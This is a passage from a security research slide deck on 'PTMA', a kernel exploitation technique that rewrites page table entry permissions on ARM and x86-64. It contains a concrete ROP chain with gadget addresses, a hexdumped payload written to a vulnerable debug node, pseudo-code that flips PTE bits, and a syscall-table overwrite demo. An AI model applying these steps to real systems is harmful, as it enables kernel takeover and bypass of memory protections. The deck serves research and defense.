    Gadget A x x x r4 r5 r6 r7 Gadget B r3 r4 r5 GadgetC(pc) r4 Gadget D unsigned long *a=0xc0007400 *a = *a | (0x1 << 11); //0x800  Gadget B r0 := r4(0xc0007400 – 0x198), r1 := r5(0x800), r3 := 0xc0007400 – 0xc, r4 := 0xd0000000(to write dummy) Step 2. ROP gadget A - 0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc}; B - 0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc}; C - 0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc}; D - 0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr; //orr D’- 0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; //bic 0xc0101414 0x0 0x0 0x0 a – 0x198 Operand(0x8000…) 0x0 0x0 0xc0134c50 a – 0xc 0xd0000000 0x0 0xc0573494 0x0 0xc04565ac/0xc04565bc PTMA Attack in AArch32 … B. ROP Payload Execution
  • 22.
    Gadget A x x x r4 r5 r6 r7 Gadget B r4 r5 GadgetC r4 Gadget D(PC) unsigned long *a=0xc0007400 *a = *a | (0x1 << 11); //0x800  Gadget C r3 := [r3(0xc0007400 – 0xc) + 0xc] := [0xc0007400 – 0xc + 0xc] := [0xc0007400] Step 2. ROP gadget A - 0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc}; B - 0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc}; C - 0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc}; D - 0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr; //orr D’- 0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; //bic 0xc0101414 0x0 0x0 0x0 a – 0x198 Operand(0x8000…) 0x0 0x0 0xc0134c50 a – 0xc 0xd0000000 0x0 0xc0573494 0x0 0xc04565ac/0xc04565bc PTMA Attack in AArch32 … r3 B. ROP Payload Execution
  • 23.
    Gadget A x x x r4 r5 r6 r7 Gadget B r3 r4 r5 GadgetC r4 Gadget D unsigned long *a=0xc0007400 *a = *a | (0x1 << 11); //0x800  Gadget D r1 := r3([0xc0007400]) orr r1 := [0xc0007400] | 0x800, [r0(0xc0007400–0x198)+0x198] := r1 [0xc0007400] := r1 Step 2. ROP gadget A - 0xc0101414: add sp, sp, #0xc; pop {r4, r5, r6, r7, pc}; B - 0xc0134c50: mov r0, r4; mov r1, r5; pop {r3, r4, r5, pc}; C - 0xc0573494: ldr r3, [r3, #0xc]; str r3, [r4, #0x10]; pop {r4, pc}; D - 0xc04565ac: orr r1, r3, r1; str r1, [r0, #0x198]; bx lr; //orr D’- 0xc04565bc: bic r1, r3, r1; str r1, [r0, #0x198]; bx lr; //bic 0xc0101414 0x0 0x0 0x0 a – 0x198 Operand(0x8000…) 0x0 0x0 0xc0134c50 a – 0xc 0xd0000000 0x0 0xc0573494 0x0 0xc04565ac/0xc04565bc PTMA Attack in AArch32 … B. ROP Payload Execution
  • 24.
    Step 2. #> hexdumprop_file 0000000 0000 0000 0000 0000 0000 0000 0000 0000 * 0000040 0000 0000 0000 0000 0000 0000 1414 c010 0000050 0000 0000 0000 0000 0000 0000 7268 c000 0000060 8000 0000 0000 0000 0000 0000 4c50 c013 0000070 73f4 c000 0000 d000 0000 0000 3494 c057 0000080 0000 0000 65ac c045 #> cat rop_file > /sys/kernel/debug/of_vul/copy_data Let’s modify PTE with kernel vul. PTMA Attack in AArch32
  • 25.
    Step 3. • Whenaddress space is changed, It need to invalidate TLB(Translation Lookaside Buffer). • To replace that, just create new process that affected by modified MKPGD. • #> sh Why to create a process? PTMA Attack in AArch32
  • 26.
  • 27.
    PTMA Attack in x86-64 Step1. Find Master Kernel PTE of targeted region. pmd type : page size 2MB pte type : page size 4KB Problem 1 : 2-MByte Page and 4-KByte Page is used for kernel space. - Multi level mapping - mapping size is NOT fixed (pte : 4KB, pmd : 2MB)
  • 28.
    PTMA Attack in x86-64 Step1. Find Master Kernel PTE of targeted region. 47 39 38 30 29 21 20 12 11 0 Reserved Dynamically allocated => Need Another approach to find the address of PTE. Problem 2 : The memory resides page table is dynamically allocated. - 512 64-bit entries. page 1G page 2M page 4k
  • 29.
    PTMA Attack in x86-64 #>dmesg … init_memory_mapping: [mem 0x00000000-0x000fffff] [mem 0x00000000-0x000fffff] page 4k BRK [0x02289000, 0x02289fff] PGTABLE BRK [0x0228a000, 0x0228afff] PGTABLE BRK [0x0228b000, 0x0228bfff] PGTABLE init_memory_mapping: [mem 0x7fc00000-0x7fdfffff] [mem 0x7fc00000-0x7fdfffff] page 2M BRK [0x0228c000, 0x0228cfff] PGTABLE init_memory_mapping: [mem 0x60000000-0x7fbfffff] [mem 0x60000000-0x7fbfffff] page 2M init_memory_mapping: [mem 0x40000000-0x5fffffff] [mem 0x40000000-0x5fffffff] page 2M init_memory_mapping: [mem 0x00100000-0x3fffffff] [mem 0x00100000-0x001fffff] page 4k [mem 0x00200000-0x3fffffff] page 2M init_memory_mapping: [mem 0x7fe00000-0x7fffdfff] [mem 0x7fe00000-0x7fffdfff] page 4k BRK [0x0228d000, 0x0228dfff] PGTABLE … Step 1. Find Master Kernel PTE of targeted region. A. Getting Memory region and Page Table allocation information from Kernel booting log Page table allocation (physical address) BRK [0x02289000, 0x02289fff] PGTABLE BRK [0x0228a000, 0x0228afff] PGTABLE BRK [0x0228b000, 0x0228bfff] PGTABLE BRK [0x0228c000, 0x0228cfff] PGTABLE BRK [0x0228d000, 0x0228dfff] PGTABLE Mapping region and page size [mem 0x00000000-0x000fffff] page 4k [mem 0x00100000-0x001fffff] page 4k [mem 0x00200000-0x3fffffff] page 2M [mem 0x40000000-0x5fffffff] page 2M [mem 0x60000000-0x7fbfffff] page 2M [mem 0x7fc00000-0x7fdfffff] page 2M [mem 0x7fe00000-0x7fffdfff] page 4k Example : RAM size – 2048MB
  • 30.
    PTMA Attack in x86-64 Step1. Find Master Kernel PTE of targeted region. page 1G page 2M page 4k 47 39 38 30 29 21 20 12 11 0 Mapping region and page size [mem 0x00000000-0x000fffff] page 4k [mem 0x00100000-0x001fffff] page 4k [mem 0x00200000-0x3fffffff] page 2M [mem 0x40000000-0x5fffffff] page 2M [mem 0x60000000-0x7fbfffff] page 2M [mem 0x7fc00000-0x7fdfffff] page 2M [mem 0x7fe00000-0x7fffdfff] page 4k … B. Categorize mapping info with address and mapping page size. * Each page table has 512 entries. (512 64-bit entries)
  • 31.
    Mapping region andpage size [mem 0x00000000-0x000fffff] page 4k [mem 0x00100000-0x001fffff] page 4k [mem 0x00200000-0x3fffffff] page 2M [mem 0x40000000-0x5fffffff] page 2M [mem 0x60000000-0x7fbfffff] page 2M [mem 0x7fc00000-0x7fdfffff] page 2M [mem 0x7fe00000-0x7fffdfff] page 4k … PTMA Attack in x86-64 Step 1. Find Master Kernel PTE of targeted region. Page Table Allocation(physical address) BRK [0x02289000, 0x02289fff] PGTABLE … ① BRK [0x0228a000, 0x0228afff] PGTABLE … ② BRK [0x0228b000, 0x0228bfff] PGTABLE … ③ BRK [0x0228c000, 0x0228cfff] PGTABLE … ④ BRK [0x0228d000, 0x0228dfff] PGTABLE … ⑤ ① ② ③ ④ ⑤ C. Making a pair of mapping (Mapping info and Page Table address) Rule 1. The mapping for lower address is first Rule 2. For the mapping of lower level, the mapping of higher level include that should be done first.
  • 32.
    Formula: Physical address =(targeted) Virtual address – PAGE_OFFSET(0xFFFF8800_00000000) mapping size = 2MB or 4KB , entry size = 8Byte PTE address (physical) = base address of page table + (Physical address – base address of mapping group) >> (𝑙𝑜𝑔2 sizeof(mapping)/sizeof(entry)) PTMA Attack in x86-64 Step 1. Find Master Kernel PTE of targeted region. Q : What is the PTE address of 0xFFFF8800_75200000~0xFFFF8800_753FFFFF on the system? A: Physical address = 0xFFFF8800_75200000 - 0xFFFF8800_00000000 = 0x75200000, base address of page table = 0x0228c000, base address of mapping group = 0x40000000, 0x0228c000 + (0x75200000 – 0x40000000 ) >> 𝑙𝑜𝑔2 221 /23 = 0x0228c000 + 0x35200000 >> 18 = 0x0228c000 + 0xd48 = 0x0228cd48 Mapping region and page size [mem 0x40000000-0x5fffffff] page 2M [mem 0x60000000-0x7fbfffff] page 2M [mem 0x7fc00000-0x7fdfffff] page 2M Page Table Allocation(physical address) BRK [0x02289000, 0x02289fff] PGTABLE … ① BRK [0x0228a000, 0x0228afff] PGTABLE … ② BRK [0x0228b000, 0x0228bfff] PGTABLE … ③ BRK [0x0228c000, 0x0228cfff] PGTABLE … ④ BRK [0x0228d000, 0x0228dfff] PGTABLE … ⑤
  • 33.
    //x86-64 Pseudo code { unsignedlong* a = 0xFFFF880000000000 + 0x228cd48; *a = *a | (0x1 << 2); // User Access } PTMA Attack in x86-64 Note that just few instructions are required for modifying PTE attribute. Step 2. Take over kernel control flow and Modify PTE attribute
  • 34.
    * PDE: PageDirectory Entry PTE : Page Table Entry Bit Position(s) Contents 1(R/W) Read/write; if 0, writes may not be allowed to the region by this entry 2(U/S) User/supervisor; if 0, user-mode accesses are not allowed to the region by this entry 63 (XD) If IA32_EFER.NXE = 1, execute-disable(if 1, instruction fetches are not allowed from the region controlled by this entry); otherwise, reserved (must be 0) Source : Intel 64 and IA-32 Architecture Software Developer’s Manual, Volume 3 X86-64 IA-32e page table format
  • 35.
    #> sh Step 2.Take over kernel control flow and Modify PTE attribute Step 3. PTMA Attack in x86-64 //x86-64 Pseudo code { unsigned long* a = 0xFFFF880000000000 + 0x228cd48; *a = *a | (0x1 << 2); // User Access } => With Kernel Vul, Do this job.
  • 36.
  • 37.
    PTMA Usecase - Simpleutility: Kernel Address space Converter (AArch32) After the permission of kernel space(that page table placed) is once pwned, user process can modify kernel space. => direct page table modification
  • 38.
    PTMA Usecase - Kernelcode/data manipulation #> a.out kernel read/write test Before : 0xc0126ad8 0xc011d7b0 0xc011a0a8 0xc01dcaac 0xc01dcb38 0xc01db734 0xc01d9e28 0xc01331a8 0xc01db754 0xc01ea630 0xc01ea320 0xc01e2c38 0xc01dafa0 0xc01331a8 0xc01ea218 0xc01db22c After : 0xdeadbeef 0xc011d7b0 0xc011a0a8 0xc01dcaac 0xc01dcb38 0xc01db734 0xc01d9e28 0xc01331a8 0xc01db754 0xc01ea630 0xc01ea320 0xc01e2c38 0xc01dafa0 0xc01331a8 0xc01ea218 0xc01db22c vmlinux: file format elf32-littlearm …. c01063e4 <sys_call_table>: c01063e4: c0126ad8 c011d7b0 c011a0a8 c01dcaac .j.............. c01063f4: c01dcb38 c01db734 c01d9e28 c01331a8 8...4...(....1.. c0106404: c01db754 c01ea630 c01ea320 c01e2c38 T...0... ...8,.. c0106414: c01dafa0 c01331a8 c01ea218 c01db22c .....1......,... Even if the hardened kernel with “/dev/mem protection” and “/dev/kmem disabled” is working, it’s possible to manipulate kernel code/data just with kernel memory access through user process. #define SYSCALL_TABLE 0xc01063e4 #define VALUE 0xDEADBEEF { … for(addr = SYSCALL_TABLE; addr < SYSCALL_TABLE + 0x40; addr+=4) printf("0x%08x ",*(unsigned int*)addr); addr = SYSCALL_TABLE; *(unsigned int*)addr = VALUE; printf("nAfter :n"); for(addr = SYSCALL_TABLE; addr < SYSCALL_TABLE + 0x40; addr+=4) printf("0x%08x ",*(unsigned int*)addr); …
  • 39.
    PTMA Usecase - KernelHardening incapacitation - /dev/mem protection (CONFIG_DEVMEM) - /dev/kmem disabled (CONFIG_DEVKMEM) - Read-only data sections (CONFIG_DEBUG_RODATA) - Module RO/NX (CONFIG_DEBUG_MODULE_RONX)… Incapacitating defenses based on memory permission Access Permission control Not eXecutable - XN(against ret2dir attack) incapacitation eXecutable!!
  • 40.
    Conclusion • New kernelexploitation technique. • Provide a way to find kernel page table address. • Just need 1~2 bit kernel memory modification. • It can bypass any sort of defenses based on kernel memory permission • It’s hard to protect PTMA attack => To set page table as R/O is not answer. => Need new design for page table allocation and memory permission of the memory that page table located.
  • 41.
  • 42.
    PG_DIR_SIZE - "arch/arm/kernel/head.S“ PAGE_OFFSET- "arch/arm/Kconfig" Formula : swapper_pg_dir = PAGE_OFFSET + TEXT_OFFSET - PG_DIR_SIZE Under ARM default config, that is “0xC0004000” swapper_pg_dir = 0xC0000000 + 0x8000 – 0x4000 = 0xC0004000
  • 43.
    • return-to-user attackDefense: - Set access control bit on page table entry of user’s memory. (applied to mainline kernel) X86 : SMEP(Supervisor mode execution protection) ARM : PXN (Privileged execute Never ) Source : ret2dir: Rethinking Kernel Isolation

Editor's Notes

  • #19 Candidate gadgets we found
  • #44 그림 변경 필요…